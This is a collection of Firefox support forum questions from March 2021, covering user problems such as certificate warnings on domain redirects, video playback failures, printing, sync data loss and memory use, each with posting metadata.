<p>Hello, im a web developer and have come accross a problem which only occurs in the firefox browser. </p><p>When i design a website, i use the www version of it always, and have redircts for all other instances, eg; <a href="http://mydomain.co.uk" rel="nofollow">mydomain.co.uk</a> &gt; <a href="https://www.mydomain.co.uk" rel="nofollow">https://www.mydomain.co.uk</a> <a href="http://www.mydomain.co.uk" rel="nofollow">http://www.mydomain.co.uk</a> &gt; <a href="https://www.mydomain.co.uk" rel="nofollow">https://www.mydomain.co.uk</a> <a href="https://mydomain.co.uk" rel="nofollow">https://mydomain.co.uk</a> &gt; <a href="https://www.mydomain.co.uk" rel="nofollow">https://www.mydomain.co.uk</a> </p><p>So they all end up at the secure www version of the website. This is done in the .htaccess file and works great in Chrome, Edge, Explorer etc just not firefox. </p><p>In firefox i get the error  </p><p><strong>Warning: Potential Security Risk Ahead </strong> </p><p>Firefox detected a potential security threat and did not continue to <a href="http://boothandco.com" rel="nofollow">boothandco.com</a>. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details. </p><p>What can you do about it? </p><p>The issue is most likely with the web site, and there is nothing you can do to resolve it. You can notify the web site’s administrator about the problem.<strong> </strong> </p><p>Ignoring it then procceeds to the full https://www. but that warning screen will be enough to put potential visitors off no doubt. </p><p>Is there an "easy fix" for this or is the only way to solve the problem to use up more SAN's and double up on www and non-www versions of each website? </p><p>Any help is greatly appreciated. </p><p>Thanks Chris </p>


created: 2021-03-08T10:03:05-08:00
updated: 2021-03-08T10:03:05-08:00
title: slowed by message on yellow bar "another program is slowing your computer" or words to that effect
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: pghbob57
content:
<p>I have tried many of the suggestions to fix the message that appears on a yellow bar the say in effect "another program is slowing down your computer. It sure is.  When I'm working on my eBay business, and the only program running is eBay.  I get this message in between changing one task to another.  It's extremely frustrating.  And if I can't get this fixed I'm going to have to stop using Firefox. I have tried the "fix" to refresh Firefox.  I'm using version 84 on my Windows 10 OS. I'm a very experienced user (since the 70's) but not a Techy. Bob </p>


created: 2021-03-08T09:49:12-08:00
updated: 2021-03-08T09:49:12-08:00
title: O Mozilla Firefox, não está abrindo as minhas páginas do WordPress no Servidor HostGator.
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: pt-BR
creator: ramerips2
content:
<p>O Mozilla Firefox, não está abrindo as minhas páginas do WordPress no Servidor HostGator. Quando pretendo criar uma nova página ou um novo post, só aparece uma página em branco e mais nada. E a mesma coisa acontece quando pretendo editar uma página já criada, acontece a mesma coisa "Página em branco com o navegador já carregado". </p>


created: 2021-03-08T09:42:43-08:00
updated: 2021-03-08T15:26:22-08:00
title: Photo becomes a colored square after edit on a variety of platforms
tags: desktop;other;windows-10;firefox-780;
product: firefox
topic: other
locale: en-US
answers: 1397325;1397336;
creator: eschell.rompre
content:
<p>Every software, MailChimp, Hootsuite and a registration software I use allow you to edit and upload photos.  In Firefox browser when I use an editor or upload a photo the photos become a colored square with lines.   In chrome zero problems.  I can edit the photo and upload the photo. </p><p>What do I need to turn off in Firefox to fix this problem and get rid of this photo issue? </p>


created: 2021-03-08T09:27:26-08:00
updated: 2021-03-08T10:09:59-08:00
title: Sending of messages
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397241;
creator: horsthilt
content:
<p>Hi, in our city there is a blogger who every day writes interesting articles and asks his readers to comment on his blogs. I can go to his website and read the blogs, but when I send a comment, it doesn't get through. How can that be? I'm using Firefox version 86.0 (64-bit). I would be happy if someone could help me. </p><p>Greetings </p>


created: 2021-03-08T09:17:03-08:00
updated: 2021-03-08T18:14:06-08:00
title: Request to developers
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
answers: 1397368;1397370;1397372;
creator: perviy.polzovatel
content:
<p>Please add the ability to translate pages as in Microsoft Edge or Google Chrome, thanks in advance </p>


created: 2021-03-08T09:11:30-08:00
updated: 2021-03-08T09:11:30-08:00
title: Activate screen with keyboard
tags: desktop;tips;windows-10;firefox-860;
product: firefox
topic: tips
locale: en-US
creator: brian176
content:
<p>Dear all I use firefox as a pdf viewer. Here I love shortcut keys e.g. full screen ctrl-alt-p. The problem is that it only works when I tap the screen with the mouse first. How to make a touch of screen with the mouse via keyboard shortcut? BR Brian </p>


created: 2021-03-08T09:03:08-08:00
updated: 2021-03-08T09:04:48-08:00
content: <p>What should I write here? </p>
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397225;
creator: WhiteRabbit17
title:
I MUST get into a state website and something is blocking it from opening! I can only login, nothing else. please help


created: 2021-03-08T08:45:27-08:00
updated: 2021-03-09T13:28:04-08:00
title: Eye icon not showing in password field
tags: desktop;privacy-and-security_1;needsinfo;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1397413;1397485;1397522;
creator: djolecirovic.cira
content:
<p>When i enter a password on any site on firefox, eye icon(which allows me to see entered password) doesn't appear. Why is that and how can i fix it? </p>


created: 2021-03-08T08:43:21-08:00
updated: 2021-03-08T08:43:21-08:00
title: <textarea> tag always shows text in black color instead of code highlight
tags: desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: mogita
content:
<p>I've no idea since when my Firefox doesn't show highlighted code fences on any web pages. Specifically it happens inside the &lt;textarea&gt; tags. Anyone with an idea of the possible reasons? </p><p>I've tried to disable the add-ons one by one and inspect, nothing ever changed even when I disabled all my add-ons and meanwhile I refresh the page every time I disabled an add-on. </p><p>I added a few screenshots for comparison. Any help or tips are appreciated! Big Thanks! </p>


created: 2021-03-08T08:17:40-08:00
updated: 2021-03-08T08:56:54-08:00
title: Printing
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397216;
creator: do-hockey
content:
<p>I have fixed (it's slow as **** on PC but works from my phone still), my printer which stopped working briefly, however I am unable to print pages in Firefox as even the preview window fails to load, changing browser doesn't work. I will try restarting Firefox but doubt it will work (restarting never has in the past). </p>


created: 2021-03-08T08:13:50-08:00
updated: 2021-03-08T15:02:20-08:00
title: Videos won't play since Firefox update to latest version
tags: windows-7;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397201;1397202;1397207;1397210;1397275;1397323;1397326;1397328;
creator: Jose_Hidalgo
content:
<p>Hi, I have already read some topics on this matter, and here's what I have done : </p> <ul><li> Cleared cookies </li><li> Cleared Firefox cache </li><li> Disabled µBlock Origin </li></ul> <p>My videos were playing fine, but <strong>since the Firefox update to 86.0</strong>, no videos are playing at all. This is valid for all sites : Twitter, YouTube, Facebook, etc. NO VIDEOS AT ALL ! </p><p>Thanks in advance for your help. </p>


created: 2021-03-08T08:11:27-08:00
updated: 2021-03-08T14:08:15-08:00
title: urlbar search with empty query
tags: linux;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397296;1397303;
creator: maiphi
content:
<p>With Firefox 86 it is no more possible to use a search keyword in the urlbar with an empty query string to open the corresponing web page. E.g. I type "g" for Google followed by &lt;space&gt; and the urlbar notices I want to perform a Google search. But pressing &lt;enter&gt; has no effect until I actually enter a string (other than whitespace) to search for. In previous version it was possible to just search for nothing to open the search page (like a shortcut to the search web page). </p><p>In Firefox 83, the old behaviour could still be restored by setting browser.urlbar.update2=false. This doesn't work anymore since version 86. </p><p>Is there a possibility to get the old behaviour back? </p>


created: 2021-03-08T07:49:26-08:00
updated: 2021-03-08T09:12:09-08:00
title: Screen Freeze with facebook
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397227;
creator: oquendo.juan
content:
<p>Firefox always freezes when I'm on Facebook.  Facebook Marketplace is the worst.  I have to restart to correct. </p>


created: 2021-03-08T06:00:16-08:00
updated: 2021-03-08T13:51:12-08:00
title: pop up messages
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397294;
creator: dradam2011
content:
<p>Is it possible to block the messages now popping up at the bottom of the Firefox search page? I am not interested in Firefox's politics and do not want to receive them. Thank you. </p>


created: 2021-03-08T05:20:34-08:00
updated: 2021-03-14T16:11:31-07:00
title: Tiny address bar, tabs and bookmarks no matter what I do
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397292;1398666;1398698;1398733;
creator: tentative
content:
<p>Firefox opens and has a teeny tiny little address bar and tabs and everything else displays differently. I've tried making Firefox my default browser. I've tried updating twice. I've tried combing through preferences for anything that might make a difference.  </p><p>Nothing works. In the picture, for reference, the Apple and menu bar at the very top are normal sized.  </p><p>I'm gonna be honest, this is the LAST time I'm giving Firefox a chance. If I can fix this relatively simply, I'll do it. If it involves me needing to suddenly know how to be a software engineer and go into an obscure file in an obscure folder of an application and mess with anything that ends in .css, I'm out. </p>


created: 2021-03-08T05:08:28-08:00
updated: 2021-03-08T16:28:41-08:00
title: Remove autofill suggestion from Address Bar
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397234;1397284;1397319;1397330;1397353;
creator: overlord1999evil
content:
<p>Hello, </p><p>Sorry if this is a re-post in a way but i needed help. Now, the issue is i am of course a big YouTube user and when i enter 'y', 'yt' or any other combination to get to <a href="http://youtube.com" rel="nofollow">youtube.com</a> my web address bar always comes up with this website as my first preference for some reason? </p><p><a href="https://yoursay.sa.gov.au/" rel="nofollow">https://yoursay.sa.gov.au/</a> </p><p>Now, i have tried clearing my cache, website data, search history, cleared everything and even uninstalled and reinstalled Firefox. This site is most certainly not in my bookmarks. How do i permanently remove it form my auto fill data? </p><p>I have these stats if it helps: </p><p>Firefox version 68.0 64 Bit windows 10 Home Standard Browser Privacy </p><p>Any and all help will be greatly appreciated. </p><p>Thank you. </p>


created: 2021-03-08T02:19:39-08:00
updated: 2021-03-08T02:19:39-08:00
title: Lost the whole session in firefox
tags: linux;desktop;other;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
creator: sergio.costas
content:
<p>This morning, when I turned on my computer, found that firefox lose all the data in my session: no bookmarks, no stored sessions... nothing. I launched the profile manager and there were two profiles, but both were equal: no data. </p><p>I checked the profiles folder and found that there were three profile folders, but in the profiles.ini file only the two more recent (from today) were configured; the third one, with date from the friday (when I turned off the computer) wasn't included in the profiles.ini file. I added it manually (after doing a backup, just-in-case), but no luck: no bookmarks, no stored passwords... but only some sessions in some pages were saved. But in the folder there IS a logins.json file with all the data. Oddly enough there is NO bookmarks file anywhere... </p><p>Also, the friday I had a similar problem with thunderbird: I completely lost the session, and had to recreate it from scratch (fortunately, I use IMAP). </p>


created: 2021-03-08T01:43:53-08:00
updated: 2021-03-08T14:10:13-08:00
title: There is no About Firefox in the HELP tab
tags: desktop;other;
product: firefox
topic: other
locale: en-US
answers: 1397233;1397278;1397304;
creator: kawhihoffmann
content:
<p>On my Mac Book Air 2015 there is no About Firefox in the Help Tab. So I can't see a current version of Firefox and other features from About Firefox. Also some addons are not working properly (Spoof Timezone for example) and I think that there is some connection between these issues. </p>


created: 2021-03-08T01:13:28-08:00
updated: 2021-03-08T07:18:58-08:00
title: Firefox print facility
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397149;1397189;
creator: rlanda
content:
<p>I see that someone has changed the 'Print' feature. Previously, when I wanted to print something from a website, the print feature gave me the option of 'simplifying the page', which reduced the number of pages to be printed significantly. I have tried printing out 2 pieces of information recently and could not find the 'Simplify page' feature. Has this been removed; and, if so, why? </p>


created: 2021-03-08T00:42:32-08:00
updated: 2021-03-09T01:44:06-08:00
title: sound only on headset, not on speaker, but not any problems on edge browser
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397230;1397403;
creator: mhz333
content:
<p>I cannot hear a sound on my speakers, only on my headset if connected. This problem doesn´t appear in edge browser.  </p><p>Can´t find a solution! </p><p>Please answer in moderate English, I am not a native speaker, thanks  </p>


created: 2021-03-08T00:20:18-08:00
updated: 2021-03-08T00:20:18-08:00
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: fi
creator: kaleton
title:
Päivityksen 7.3.-21 jälkeen häiriöpixelöintiä Firefox selaiimessa kuin "lumipyryä". Mistä johtuu? mikä neuvoksi?

content:
<p>Päivityksen 7.3.-21 jälkeen häiriöpixelöintiä Firefox selaiimessa kuin "lumipyryä". Mistä johtuu? mikä neuvoksi? </p>


created: 2021-03-07T23:30:25-08:00
updated: 2021-03-07T23:30:25-08:00
content: <p>Hi, Does anybody know how to remedy these 2 problems? </p><p>Best regards, Eveline </p>
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: eveline_guehring
title:
"problems with photos (persons to wide or too thin) when window size is reduced (Firefox)" + screenshot does not copy itself into Support


created: 2021-03-07T22:14:32-08:00
updated: 2021-03-07T22:14:32-08:00
title: 'New' layout of Facebook not scrolling - at all - on Firefox.
tags: desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: angela29
content:
<p>Since Facebook forced me to switch to new layout a few months ago, Facebook on Firefox (fine on Safari) does not scroll At All (goes about 2 cm beyond first page). Everything else seems to work fine. However, it's basically not usable on Firefox - can see part of the first post and that's it - 'yer stuck' (quite frustrating). Thanks for any/all help. </p>


created: 2021-03-07T20:25:54-08:00
updated: 2021-03-08T08:06:02-08:00
title: Video on Netflix, Prime and Disney plus not playing, other video working for firefox on Mac
tags: desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397148;1397191;1397194;1397200;
creator: sprysunka
content:
<p>Hello,  </p><p>I am unable to play certain video on Firefox version 86 on my Macbook Pro 13-inch, 2017, running Big Sur 11.3 Beta (20E5196f), which I just updated my system to today. These sites are working in Safari <strong>I tried installing the previous Firefox version, version 85, these sites worked on this version!</strong> This problem only occurs on Netflix, Prime and Disney Plus. Other video sites like Youtube and Crave TV are working. This same problem occurred a few days ago, before I updated my computer, but I was able to resolve it by clearing cookies and cache in firefox, this no longer works. </p><p>On Netflix, preview videos that appear when hovering over a selection do play, but when trying to play an actual title I get error code f7121-1331 On Prime I get a message saying We're experiencing a problem playing this video. For assistance, please go to <a href="http://www.primevideo.com/help" rel="nofollow">www.primevideo.com/help</a>. On Disney Plus I get error code 83 </p><p>I have tried on the advice of other posts to clear cache and cookies, disable all add-ons, checking if certain media options are enabled in About:config, restarting my computer and firefox, and resetting Firefox twice. None of these have worked for me.  </p><p>The only thing that worked was installing and using the previous Firefox version 85. </p>


created: 2021-03-07T20:19:54-08:00
updated: 2021-03-07T23:01:11-08:00
title: Can I merge tabs for different windows by dragging the tab without resizing the window?
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397141;
creator: xsycocola
content:
<p>I was a Chrome user and recently shifted to Firefox.  Everything is fine but I found out that when I want to merge 2 windows, I have to resize the upper window till the tabs of bottom one appear, so that I can drag and merge them into one. It's quite annoying sometimes especially when using a laptop with the touching pad.  In Chrome, when I drag the upper window downward, the bottom one will show up then they can be merged just by a simple drag.  Is there any extension or method to do this in Firefox? </p>


created: 2021-03-07T19:43:58-08:00
updated: 2021-03-07T19:43:58-08:00
title: Getting logged out of Youtube on Firefox
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: IcyEscape
content:
<p>Hi, I have been having trouble remaining logged in at the Youtube website. I go to the <a href="http://Youtube.com" rel="nofollow">Youtube.com</a> main page and click "Sign In." It logs in using my Google account. However, if I click on any video on the home page, I am logged out again. I have tried signing in and signing out of Google. I tried clearing my cache and cookies. I also used the "Refresh Firefox" option in Firefox settings and I still have the problem. Is there any way to fix this? Thank you in advance. I am using Windows 10 for my OS. </p>


created: 2021-03-07T19:43:39-08:00
updated: 2021-03-07T19:43:39-08:00
title: Can't see my history older than 6 months
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: guga.aguia
content:
<p>Can't see my history older than 6 months, how can I recover and why firefox remove automatically? </p>


created: 2021-03-07T19:42:40-08:00
updated: 2021-03-08T15:22:13-08:00
title: Print PDF
tags: mac-os;desktop;download-and-install_1;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
answers: 1397143;1397188;1397335;
creator: bhill13
content:
<p>Since upgrading to a newer version of FF, I find that I am unable to save to PDF like I've been doing so for years.  The MacOS User Guide says to choose File &gt; Print then Click the PDF pop up menu and choose Save as PDF. </p><p>Well, this open is no longer showing up in FF version 86.0.  Can someone tell me how to get it back?  Thanks. </p>


created: 2021-03-07T19:40:24-08:00
updated: 2021-03-08T20:08:41-08:00
title: Playback control does not disappear when entering full screen
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397375;1397379;1397382;
creator: vikp51
content:
<p>When viewing a video powered by a Brightcove player, the playback control bar on the bottom does not hide when entering full screen mode. I have tried moving the mouse in all areas of the screen, play/paused it with the spacebar/mouseclick, and tried several other methods but it simply does not want to disappear. An example of a website that uses the Brightcove player is the IPL website. You can click <a href="https://www.iplt20.com/video/223745/balancing-a-catch-tewatia-style" rel="nofollow">here</a> to access one of the videos on the site. </p><p>I have tested this with other browsers and the playback control disappears as it should when entering full screen so it seems to be some issue with Firefox. I recently contact Brightcove support and they were not able to replicate the issue on their version of Firefox and just recommended I use a different browser. But it would be really helpful if someone could help me fix this strange bug. </p><p>Thank you. </p>


created: 2021-03-07T19:25:18-08:00
updated: 2021-03-08T21:02:57-08:00
title: Firefox just crapped out on me
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397144;1397166;1397387;
creator: Brock297
content:
<p>Nothing will open. Not even settings. Just a blank page. Won't go to any web pages. I uninstalled and reinstalled, same thing. Almost like an update messed it up, but I looked in Windows update and there were no recent updates. Microsoft Windows 10 Home. </p>


created: 2021-03-07T19:04:04-08:00
updated: 2021-03-07T19:04:04-08:00
title: Can't choose between dark mode and normal mode
tags: desktop;websites;windows-10;dark-mode;
product: firefox
topic: websites
locale: en-US
creator: 2169755947
content:
<p>For some website, such as <a href="https://sspai.com/" rel="nofollow">少数派</a> ， support both the dark and the normal mode. My Windows system setting is dark mode, so in Edge, this website deliver a dark theme, but in Firefox, it always display a normal mode----white backgroud and black text, I have tried reinstall Firefox, try other edtion of Firefox such as the Nightly, but none of them make help. What should I do? Thanks! </p>


created: 2021-03-07T18:36:22-08:00
updated: 2021-03-07T20:03:02-08:00
title: "n.accessEnabler is null" while watching ESPN
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397120;
creator: jamesll10
content:
<p>Trying to watch ESPN on Firefox on my laptop, but instead of playing the video, I get "n.accessEnabler is null" instead. Started happening a few days ago. </p>


created: 2021-03-07T17:16:09-08:00
updated: 2021-03-07T17:16:09-08:00
title: I formated my computer and bookmarks and passwords are not downloading
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
creator: f.bastos.pinto
content:
<p>I formated my computer and bookmarks and passwords are not downloading. </p><p>I don't know why. Can you help please? Thank you </p>


created: 2021-03-09T15:04:26-08:00
updated: 2021-03-09T18:05:08-08:00
title: Firefox crashes because low free left RAM!
tags: desktop;tabs;windows-10;firefox-860;
product: firefox
topic: tabs
locale: en-US
answers: 1397566;1397569;1397580;1397608;
creator: empleat
content:
<p>I have many tabs like 200-300. Firefox crashed today. I also have 4GB page file on top of that. Strange! After I restarted Firefox it was using only 6.8GB RAM. Perhaps memory leak. BTW if I have browser.cache.disk.enable set to false. Is page file still used? </p><p>Thanks for help. </p>


created: 2021-03-09T14:58:54-08:00
updated: 2021-03-09T16:18:20-08:00
title: How do I delete everything in my firefox account?
tags: windows-7;desktop;sync;needsinfo;firefox-860;
product: firefox
topic: sync
locale: en-US
answers: 1397567;1397568;1397577;1397578;1397587;
creator: user1995570
content:
<p>Hello guys, </p><p>I have been using the Firefox syncing account feature for a while. I think it is getting overwhelming with a lot of things I don't need. </p><p>I am wondering if I can delete everything, including history, bookmark, saved passwords, and everything in my Firefox sync account. Make my account back to "factory default" setting. </p><p>Thank you guys in advance! </p>


created: 2021-03-09T14:39:12-08:00
updated: 2021-03-09T16:10:41-08:00
title: Google Drive folder clicking will not open the folder
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397583;
creator: jamverhoeven
content:
<p>Hi, I bought a new desktop PC with Windows 10 Home. Before I used Google Drive on a laptop with Windows 10 home without any issue or problem using Firefox. </p><p>After migration to the Desktop I wanted to take a look at information provided by my club of volunteers on Google Drive after logging in with my account. No problem so far, but double clicking on a folder does not open that folder!  Only about 5 to 6 times fast clicking opens the folder. </p><p>Any solution for this problem?  (Re-installed Firefox but that did not change anything; unfortunately logging in with Edge as well as logging in with Chrome solves this problem...Nevertheless I am an Mozilla adept and do not want to switch to e.g. Edge.) </p><p>Greetings Jan </p>


created: 2021-03-09T14:27:32-08:00
updated: 2021-03-09T20:28:46-08:00
title: Copy and Paste from Wix Blog
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397616;
creator: wayhil
content:
<p>Greetings to whoever runs this forum! </p><p>I want to copy from my Microsoft Word program to a blog on Wix. However, I get an error which reads as follows: "You can't copy and paste because we are unable to access the clipboard. Change the clipboard access settings in your browser and try again."  </p><p>I have looked in every menu on my Firefox browser and have found nothing that pertains to my clipboard setting. As you can see, I can copy and paste from my Wix website to this post, although it will not copy and paste from Microsoft Word. </p><p>Does anyone have a solution for this particular problem? I await your reply. </p><p>I do hope you have a  very nice remaining day! Adios for now. </p>


created: 2021-03-09T14:12:59-08:00
updated: 2021-03-09T15:00:40-08:00
title: Error playing youtube audio
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397564;
creator: sami1001.314
content:
<p>I was wondering if there's a way to fix a kind of crash that occurs in youtube because the audio is lower than normal and the only way I can "disable it" is using an add-on that refresh the volume to 100 and then the sound goes to normal but I can't find a way to make it normal always </p>


created: 2021-03-09T14:11:46-08:00
updated: 2021-03-09T14:30:56-08:00
title: Accessing info on site
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397549;1397552;
creator: kevinrodden
content:
<p>I can log into my athenahealth patient portal, but below tab saying welcome is just blank page. Worked fine until about two weeks ago, allowing me to access my patient info? </p>


created: 2021-03-09T14:08:27-08:00
updated: 2021-03-10T20:00:18-08:00
title: download folder
tags: windows-7;desktop;other;firefox-840;
product: firefox
topic: other
locale: en-US
answers: 1397550;1397873;
creator: keygrip8480
content:
<p>Firefox (84) downloaded an *.mp4 file to Temp. The download folder is set to Desktop, and has been for years. (Yes I checked.)  </p><p>I could not stop Acrobat Reader from trying, and failing, to open the file. Default program for opening *.mp4 is set to Media Player (Windows Pro 7). (Yes I rebooted after setting.) </p><p>Download was from <a href="https://www.tribute.co" rel="nofollow">https://www.tribute.co</a>. I had some trouble finding the file in Temp. What went wrong with the download folder and the default opening program? Thanks. </p>


created: 2021-03-09T13:44:04-08:00
updated: 2021-03-09T14:56:10-08:00
title: How do I install Firefox to my D: Drive
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
answers: 1397562;
creator: oak0011
content:
<p>By default it seems that Firefox is installed on my C: drive.  However, the partition that came with my laptop does not have lots of space on the C: drive so I want to install all my apps, like Firefox, to my D: drive.  Is there a way to install Firefox to my D: drive (I have set up the necessary Program Files, etc., directories and have had no problem installing other apps on this drive.  Thanks </p>


created: 2021-03-09T13:32:29-08:00
updated: 2021-03-09T13:32:29-08:00
title: Página de sugestões do Firefox
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: pt-BR
creator: gianop
content:
<p>A página de sugestões do Firefox PC parece estar bugada. O link no menu Ajuda leva a uma página que provavelmente devia abrir um formulário de pesquisa de satisfação. Só que não abre a pesquisa. Só exibe um texto simples, sem nada pra clicar ou interagir... </p><p><a href="https://qsurvey.mozilla.com/s3/FirefoxInput/" rel="nofollow">https://qsurvey.mozilla.com/s3/FirefoxInput/</a> </p><p>"Firefox Agradecemos por responder a esta breve pesquisa. Suas respostas são importantes para aprimorar o Firefox. Sua opinião será totalmente anônima e privada." </p>


created: 2021-03-09T13:15:48-08:00
updated: 2021-03-09T14:44:00-08:00
title: IFrame issue absolute !important
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397560;
creator: celsoleao
content:
<p>All the pages that contains IFRAME I can't anymore because something is changing the style adding inline a position absolute !important and hide it from default view. Someone know how to fix it? I already updated to the last version and also using standard protection. </p>


created: 2021-03-09T12:48:16-08:00
updated: 2021-03-10T07:37:00-08:00
title: Can't restore anything
tags: desktop;sync;needsinfo;windows-10;firefox-860;
product: firefox
topic: sync
locale: en-US
answers: 1397528;1397657;
creator: maciejwyp
content:
<p>After I switched to a new disc and made whole new instalation of windows I simply can't make a sync to get all bookmarks and everything back from my account. In addition before format I synced the account once more. And now everything is lost. Please help me get back my stuff. </p>


created: 2021-03-09T12:23:21-08:00
updated: 2021-03-12T16:23:04-08:00
title: Firefox causes entire screen to fade to black for 1 second
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397530;1398354;1398358;1398359;1398361;
creator: zheeph
content:
<p>Hi, I'm trying to find out what's causing this behavior. My firefox sometimes, specifically when opening a second tab (doesn't happen on a third, fourth, fifth, etc. tab) and pressing F (like starting to type Facebook), makes my entire screen to fade to black for 1 second, and then comes back. If I do type facebook, it shows "acebook", ignoring the F entirely. It doesn't seem like a crash, it seems a lot like a functionality of sorts that's acting up, because it doesn't go black just like that, it fades. And it always takes the same amount of time with that fade. </p><p>What's worse, it doesn't always happen. If it happens once I can replicate it and keep doing it, but as I use the browser and it stops doing it, I can't do it again. Until, well, it does. </p><p>This is the weirdest thing. How does firefox control my entire screen like that? What's it doing? What instruction on my keyboard is F sending to firefox? </p><p>I haven't found anything like this happening to anyone online. </p><p>Any help please? </p>


created: 2021-03-09T12:02:43-08:00
updated: 2021-03-09T16:03:48-08:00
title: Help Needed, Extension Data Lost on Sync!
tags: linux;desktop;sync;firefox-830;
product: firefox
topic: sync
locale: en-US
answers: 1397572;1397582;
creator: cynthia.rodriguez311
content:
<p>Hello, I accidentally removed a extension from one copy of my Firefox Account that syncs. That in turn deleted the extension from another PC. That extension had very valuable information in it I'm trying to recover. Is there anyway to recover to a previous time and date with Firefox sync, and if not can it be done with some work? I did find a Old Firefox Account folder but could not seem to get any of the extension data working again, only to set the extension up again. </p><p>Please help if you can! Thank you! </p>


created: 2021-03-09T12:00:22-08:00
updated: 2021-03-09T18:01:28-08:00
title: Online streaming is not working
tags: desktop;websites;needsinfo;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397606;
creator: xtelleanne
content:
<p>Web player for Spotify, Apple Music and Soundcloud is not working! I'm currently using the latest update which is version 86.0 for 64-bit. When will you fix this? </p>


created: 2021-03-09T11:31:12-08:00
updated: 2021-03-09T11:31:12-08:00
title: Activity Monitor vs. about:performance Understanding Memory Discrepancy
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: r3cgm
content:
<p>Hello.  Using Firefox for latest OSX (ff 86.0 but I really don't think version is going to matter for this question). </p><p>Can someone help me understand how to interpret memory consumption results that Firefox provides vs. what is shown in Activity Monitor?  FF shows tabs consuming in the 10's of megs, Activity Monitor shows in the ~500 meg range.  I thought maybe FF was closer to the truth because it was factoring in shared memory across tabs (and the 'true' memory impact per tab was less) but I can't figure out how to connect these things together.  Any help appreciated! </p><p>Huge fan of Firefox and Mozilla! </p><p>George </p>


created: 2021-03-09T11:14:34-08:00
updated: 2021-03-09T11:14:34-08:00
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: paul338
title:
Firefox 86 default printer (print_printer) changed any time you use a secondary printer, causing print preview to fail

content:
<p>First the hardware and software:  Ubuntu Linux 20.10, Firefox 86, HP OfficeJet 8600, Dymo LabelWriter 330 </p><p>After successfully printing to a secondary printer (the Dymo using an address label paper size), the new "print preview" hangs.  It appears that the print_printer setting in about:config gets changed to the Dymo instead of my default printer (the HP).  The only way that I have found to correct this problem is to go into about:config EVERY time I print something to the Dymo from Firefox, then delete the stored value.  I never had this problem until the latest version of Firefox.  It would sure be nice to be able to either leave the setting going to my default printer, or at a minimum, for Firefox to go back to the traditional print dialog where the desired printer could be selected instead of unsuccessfully trying to render the page for the wrong printer. </p>


created: 2021-03-09T11:06:10-08:00
updated: 2021-03-09T16:37:54-08:00
title: Firefox bookmarks/passwords disappear
tags: mac-os;desktop;fix-problems;firefox-850;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397573;1397574;1397593;
creator: aaltio.petri
content:
<p>I have MacBookPro with BigSur </p><p>When i restart computer all saved info (bookmarks/passwords/etc.) have been lost.  What can I do to keep these saved? ' </p>


created: 2021-03-09T11:00:15-08:00
updated: 2021-03-09T11:00:15-08:00
title: Set my Primary Password yesterday, now FireFox tells me its incorrect??
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
creator: loganwyborn
content:
<p>I set my primary password yesterday since I was leaving my laptop with a service person. Today, Firefox tells me the password is incorrect. I am entirely confident I know what I intended the password to be, and it seems wholly unrealistic that I made the same typo twice in one entry, yet I've trial and errored almost every possible typo I can think would cause this. I am really not sure what to do now, all my accounts are locked behind a password that is not the one I set less than 24 hours ago. What can I do? </p>


created: 2021-03-09T10:43:22-08:00
updated: 2021-03-10T10:52:10-08:00
